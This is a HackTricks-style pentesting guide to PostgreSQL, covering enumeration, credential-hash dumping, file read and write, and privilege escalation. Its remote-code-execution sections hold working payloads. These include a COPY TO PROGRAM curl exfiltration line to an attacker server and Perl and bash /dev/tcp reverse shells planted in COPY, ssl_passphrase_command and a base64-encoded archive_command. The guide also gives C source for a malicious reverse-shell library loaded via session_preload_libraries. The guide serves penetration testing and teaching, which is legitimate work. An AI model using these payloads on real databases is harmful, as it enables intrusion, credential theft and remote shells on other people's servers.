5432,5433 - Pentesting Postgresql - HackTricks

# 5432,5433 - Pentesting Postgresql

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## Basic Information

PostgreSQL is described as an object-relational database system that is open source. This system not only utilizes the SQL language but also enhances it with additional features. Its capabilities allow it to handle a wide range of data types and operations, making it a versatile choice for developers and organizations.

Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.

    PORT     STATE SERVICE
    5432/tcp open  pgsql

## Connect & Basic Enum

    psql -U <myuser> # Open psql console with user
    psql -h <host> -U <username> -d <database> # Remote connection
    psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

    psql -h localhost -d <database_name> -U <User> #Password will be prompted
    \list # List databases
    \c <database> # use the database
    \d # List tables
    \du+ # Get users roles

    # Get current user
    SELECT user;

    # Get current database
    SELECT current_catalog;

    # List schemas
    SELECT schema_name,schema_owner FROM information_schema.schemata;
    \dn+

    #List databases
    SELECT datname FROM pg_database;

    #Read credentials (usernames + pwd hash)
    SELECT usename, passwd from pg_shadow;

    # Get languages
    SELECT lanname,lanacl FROM pg_language;

    # Show installed extensions
    SHOW rds.extensions;
    SELECT * FROM pg_extension;

    # Get history of commands executed
    \s

> [!WARNING] If running `\list` you find a database called `rdsadmin` you know you are inside an AWS postgresql database.

For more information about how to abuse a PostgreSQL database check:

PostgreSQL injection

## Automatic Enumeration

    msf> use auxiliary/scanner/postgres/postgres_version
    msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

### Brute force

### Port scanning

According to this research, when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.

    SELECT * FROM dblink_connect('host=1.2.3.4
                                  port=5678
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');

- Host is down

`DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`

- Port is closed

    DETAIL:  could not connect to server: Connection refused Is  the  server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

- Port is open

    DETAIL:  server closed the connection unexpectedly This  probably  means
    the server terminated abnormally before or while processing the request

or

    DETAIL:  FATAL:  password authentication failed for user "name"

- Port is open or filtered

    DETAIL:  could not connect to server: Connection timed out Is the server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.

## Enumeration of Privileges

### Roles

Role Types |
--- | ---
rolsuper | Role has superuser privileges
rolinherit | Role automatically inherits privileges of roles it is a member of
rolcreaterole | Role can create more roles
rolcreatedb | Role can create databases
rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier
rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.
rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.
rolpassword | Not the password (always reads as `********`)
rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration
rolbypassrls | Role bypasses every row-level security policy, see Section 5.8 for more information.
rolconfig | Role-specific defaults for run-time configuration variables
oid | ID of role

#### Interesting Groups

- If you are a member of `pg_execute_server_program` you can execute programs
- If you are a member of `pg_read_server_files` you can read files
- If you are a member of `pg_write_server_files` you can write files

> [!NOTE] Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login.

    # Get users roles
    \du

    #Get users roles & groups
    # r.rolpassword
    # r.rolconfig,
    SELECT
          r.rolname,
          r.rolsuper,
          r.rolinherit,
          r.rolcreaterole,
          r.rolcreatedb,
          r.rolcanlogin,
          r.rolbypassrls,
          r.rolconnlimit,
          r.rolvaliduntil,
          r.oid,
      ARRAY(SELECT b.rolname
            FROM pg_catalog.pg_auth_members m
            JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
            WHERE m.member = r.oid) as memberof
    , r.rolreplication
    FROM pg_catalog.pg_roles r
    ORDER BY 1;

    # Check if current user is superiser
    ## If response is "on" then true, if "off" then false
    SELECT current_setting('is_superuser');

    # Try to grant access to groups
    ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
    GRANT pg_execute_server_program TO "username";
    GRANT pg_read_server_files TO "username";
    GRANT pg_write_server_files TO "username";
    ## You will probably get this error:
    ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

    # Create new role (user) as member of a role (group)
    CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
    ## Common error
    ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

### Tables

    # Get owners of tables
    select schemaname,tablename,tableowner from pg_tables;
    ## Get tables where user is owner
    select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

    # Get your permissions over tables
    SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

    #Check users privileges over a table (pg_shadow on this example)
    ## If nothing, you don't have any permission
    SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

### Functions

    # Interesting functions are inside pg_catalog
    \df * #Get all
    \df *pg_ls* #Get by substring
    \df+ pg_read_binary_file #Check who has access

    # Get all functions of a schema
    \df pg_catalog.*

    # Get all functions of a schema (pg_catalog in this case)
    SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
    FROM information_schema.routines
        LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
    WHERE routines.specific_schema='pg_catalog'
    ORDER BY routines.routine_name, parameters.ordinal_position;

    # Another aparent option
    SELECT * FROM pg_proc;

## File-system actions

### Read directories and files

From this commit members of the defined `DEFAULT_ROLE_READ_SERVER_FILES` group (called `pg_read_server_files`) and super users can use the `COPY` method on any path (check out `convert_and_check_filename` in `genfile.c`):

    # Read file
    CREATE TABLE demo(t text);
    COPY demo from '/etc/passwd';
    SELECT * FROM demo;

> [!WARNING] Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:

>     GRANT pg_read_server_files TO username;

> More info.

There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:

    # Before executing these function go to the postgres DB (not in the template1)
    \c postgres
    ## If you don't do this, you might get "permission denied" error even if you have permission

    select * from pg_ls_dir('/tmp');
    select * from pg_read_file('/etc/passwd', 0, 1000000);
    select * from pg_read_binary_file('/etc/passwd');

    # Check who has permissions
    \df+ pg_ls_dir
    \df+ pg_read_file
    \df+ pg_read_binary_file

    # Try to grant permissions
    GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
    # By default you can only access files in the datadirectory
    SHOW data_directory;
    # But if you are a member of the group pg_read_server_files
    # You can access any file, anywhere
    GRANT pg_read_server_files TO username;
    # Check CREATEROLE privilege escalation

You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html

### Simple File Writing

Only super users and members of `pg_write_server_files` can use copy to write files.

    copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

> [!WARNING] Remember that if you aren't super user but has the `CREATEROLE` permissions you can make yourself member of that group:

>     GRANT pg_write_server_files TO username;

> More info.

Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that `copy` cannot be used to write binary files as it modify some binary values.

### Binary files upload

However, there are other techniques to upload big binary files:

Big Binary Files Upload (PostgreSQL)

### Updating PostgreSQL table data via local file write

If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by overwriting the associated file node in the PostgreSQL data directory. More on this technique here.

Required steps:

1. Obtain the PostgreSQL data directory

       SELECT setting FROM pg_settings WHERE name = 'data_directory';

   Note: If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the `SELECT version()` query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. A common cluster name is `main`.

2. Obtain a relative path to the filenode, associated with the target table

       SELECT pg_relation_filepath('{TABLE_NAME}')

   This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.

3. Download the filenode through the `lo_*` functions

       SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Get the datatype, associated with the target table

       SELECT
       STRING_AGG(
           CONCAT_WS(
               ',',
               attname,
               typname,
               attlen,
               attalign
           ),
           ';'
       )
       FROM pg_attribute
       JOIN pg_type
           ON pg_attribute.atttypid = pg_type.oid
       JOIN pg_class
           ON pg_attribute.attrelid = pg_class.oid
       WHERE pg_class.relname = '{TABLE_NAME}';

5. Use the PostgreSQL Filenode Editor to edit the filenode; set all `rol*` boolean flags to 1 for full permissions.

       python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk

       SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
       SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Optionally) Clear the in-memory table cache by running an expensive SQL query

       SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. You should now see updated table values in the PostgreSQL.

You can also become a superadmin by editing the `pg_authid` table. See the following section.

## RCE

### RCE to program

Since version 9.3, only super users and member of the group `pg_execute_server_program` can use copy for RCE (example with exfiltration:

    '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Example to exec:

    #PoC
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'id';
    SELECT * FROM cmd_exec;
    DROP TABLE IF EXISTS cmd_exec;

    #Reverse shell
    #Notice that in order to scape a single quote you need to put 2 single quotes
    COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

> [!WARNING] Remember that if you aren't super user but has the `CREATEROLE` permissions you can make yourself member of that group:

>     GRANT pg_execute_server_program TO username;

> More info.

Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.

### RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

### RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

### PostgreSQL configuration file RCE

> [!NOTE] The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

#### RCE with ssl_passphrase_command

More information about this technique here.

The configuration file have some interesting attributes that can lead to RCE:

- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
- `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.
- `ssl_passphrase_command_supports_reload = off` If this attribute is on the command executed if the key is protected by password will be executed when `pg_reload_conf()` is executed.

Then, an attacker will need to:

1. Dump private key from the server
2. Encrypt downloaded private key:
   1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. Overwrite
4. Dump the current postgresql configuration
5. Overwrite the configuration with the mentioned attributes configuration:
   1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
   2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`

While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

#### RCE with archive_command

More information about this config and about WAL here.

Another attribute in the configuration file that is exploitable is `archive_command`.

For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations.

The general steps are:

1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')`
2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Reload the config: `SELECT pg_reload_conf()`
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions

#### RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

- `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection.
- `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries.

We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.

The attack steps are:

1. Download the original `postgresql.conf`

2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'`

3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'`

4. Check major PostgreSQL version via the `SELECT version()` query

5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:

       #include <stdio.h>
       #include <sys/socket.h>
       #include <sys/types.h>
       #include <stdlib.h>
       #include <unistd.h>
       #include <netinet/in.h>
       #include <arpa/inet.h>
       #include "postgres.h"
       #include "fmgr.h"

       #ifdef PG_MODULE_MAGIC
       PG_MODULE_MAGIC;
       #endif

       void _init() {
          /*
              code taken from https://www.revshells.com/
          */

          int port = REVSHELL_PORT;
          struct sockaddr_in revsockaddr;

          int sockt = socket(AF_INET, SOCK_STREAM, 0);
          revsockaddr.sin_family = AF_INET;
          revsockaddr.sin_port = htons(port);
          revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

          connect(sockt, (struct sockaddr *) &revsockaddr,
          sizeof(revsockaddr));
          dup2(sockt, 0);
          dup2(sockt, 1);
          dup2(sockt, 2);

          char * const argv[] = {"/bin/bash", NULL};
          execve("/bin/bash", argv, NULL);
       }

   Compiling the code:

        gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one

7. Upload the `payload.so` from step 5 to the `/tmp` directory

8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query

9. At the next DB connection, you will receive the reverse shell connection.

## Postgres Privesc

### CREATEROLE Privesc

#### Grant

According to the docs: Roles having `CREATEROLE` privilege can grant or revoke membership in any role that is not a superuser.

So, if you have `CREATEROLE` permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:

    # Access to execute commands
    GRANT pg_execute_server_program TO username;
    # Access to read files
    GRANT pg_read_server_files TO username;
    # Access to write files
    GRANT pg_write_server_files TO username;

#### Modify Password

Users with this role can also change the passwords of other non-superusers:

    #Change password
    ALTER USER user_name WITH PASSWORD 'new_password';

#### Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you `SUPERUSER` role:

    COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

> [!NOTE] This is usually possible because of the following lines in the `pg_hba.conf` file:

>     # "local" is for Unix domain socket connections only
>     local   all             all                                     trust
>     # IPv4 local connections:
>     host    all             all             127.0.0.1/32            trust
>     # IPv6 local connections:
>     host    all             all             ::1/128                 trust

### ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.

When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.

    GetUserIdAndSecContext(&save_userid, &save_sec_context);
    SetUserIdAndSecContext(onerel->rd_rel->relowner,
                           save_sec_context | SECURITY_RESTRICTED_OPERATION);

#### Exploitation

1. Start by creating a new table.
2. Insert some irrelevant content into the table to provide data for the index function.
3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.

In PostgreSQL, this flow looks something like this:

    CREATE TABLE temp_table (data text);
    CREATE TABLE shell_commands_results (data text);

    INSERT INTO temp_table VALUES ('dummy content');

    /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
    CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
      LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

    CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

    ALTER TABLE temp_table OWNER TO cloudsqladmin;

    /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
    CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
      LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

    ANALYZE public.temp_table;

Then, the `shell_commands_results` table will contain the output of the executed code:

    uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

### Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the `dblink` function:

    \du * # Get Users
    \l    # Get databases
    SELECT * FROM dblink('host=127.0.0.1
        port=5432
        user=someuser
        password=supersecret
        dbname=somedb',
        'SELECT usename,passwd from pg_shadow')
    RETURNS (result TEXT);

> [!WARNING] Note that for the previous query to work the function `dblink` needs to exist. If it doesn't you could try to create it with

>     CREATE EXTENSION dblink;

If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:

    SELECT * FROM dblink('host=127.0.0.1
                              user=someuser
                              dbname=somedb',
                             'SELECT usename,passwd from pg_shadow')
                          RETURNS (result TEXT);

It's possible to check if this function exists with:

    SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

### Custom defined function with SECURITY DEFINER

In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:

    CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
        RETURNS text
        LANGUAGE 'plpgsql'
        VOLATILE SECURITY DEFINER
        PARALLEL UNSAFE
        COST 100

    AS $BODY$
                    DECLARE
                         persist_dblink_extension boolean;
                    BEGIN
                        persist_dblink_extension := create_dblink_extension();
                        PERFORM dblink_connect(format('dbname=%s', db_name));
                        PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
                                                   subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
                        PERFORM dblink_disconnect();
    …

As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.

In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.

    CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
    user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
    WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

And then execute commands:

### Pass Burteforce with PL/pgSQL

PL/pgSQL is a fully featured programming language that offers greater procedural control compared to SQL. It enables the use of loops and other control structures to enhance program logic. In addition, SQL statements and triggers have the capability to invoke functions that are created using the PL/pgSQL language. This integration allows for a more comprehensive and versatile approach to database programming and automation.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.

PL/pgSQL Password Bruteforce

### Privesc by Overwriting Internal PostgreSQL Tables

> [!NOTE] The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.

Read more about this technique here.

The attack steps are:

1. Obtain the PostgreSQL data directory
2. Obtain a relative path to the filenode, associated with the `pg_authid` table
3. Download the filenode through the `lo_*` functions
4. Get the datatype, associated with the `pg_authid` table
5. Use the PostgreSQL Filenode Editor to edit the filenode; set all `rol*` boolean flags to 1 for full permissions.
6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
7. (Optionally) Clear the in-memory table cache by running an expensive SQL query
8. You should now have the privileges of a full superadmin.

## POST

    msf> use auxiliary/scanner/postgres/postgres_hashdump
    msf> use auxiliary/scanner/postgres/postgres_schemadump
    msf> use auxiliary/admin/postgres/postgres_readfile
    msf> use exploit/linux/postgres/postgres_payload
    msf> use exploit/windows/postgres/postgres_payload

### logging

Inside the postgresql.conf file you can enable postgresql logs changing:

    log_statement = 'all'
    log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
    logging_collector = on
    sudo service postgresql restart
    #Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
    #or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Then, restart the service.

### pgadmin

pgadmin is an administration and development platform for PostgreSQL.
You can find passwords inside the pgadmin4.db file
You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

    sqlite3 pgadmin4.db ".schema"
    sqlite3 pgadmin4.db "select * from user;"
    sqlite3 pgadmin4.db "select * from server;"
    string pgadmin4.db

### pg_hba

Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.

The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.

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